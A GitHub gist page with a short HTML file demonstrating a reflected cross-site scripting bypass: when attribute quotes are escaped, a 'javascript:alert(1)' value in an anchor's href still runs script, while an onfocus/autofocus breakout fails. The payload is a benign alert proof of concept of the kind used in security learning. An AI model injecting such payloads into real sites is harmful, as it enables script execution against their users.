Skip to content

Instantly share code, notes, and snippets.

@FernandoZhuang

FernandoZhuang/XssTag标签属性引号被转义弹框.html

Last active June 14, 2018 04:56
Show Gist options
  • Save FernandoZhuang/daafc0257a09e0d44b2443b667551533 to your computer and use it in GitHub Desktop.
Save FernandoZhuang/daafc0257a09e0d44b2443b667551533 to your computer and use it in GitHub Desktop.
Download ZIP
XssReflectedCrossSite
Raw
XssTag标签属性引号被转义弹框.html
<!--Vulnerbility漏洞: <label><h4><a href="javascript:2333\" onfocus=\"alert(1)\" autofocus=\"true">不能闭合引号</a></h4></label> -->
<!--Injection输入:alert(1)-->
<label><h4><a href="javascript:alert(1)">不能闭合引号</a></h4></label>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment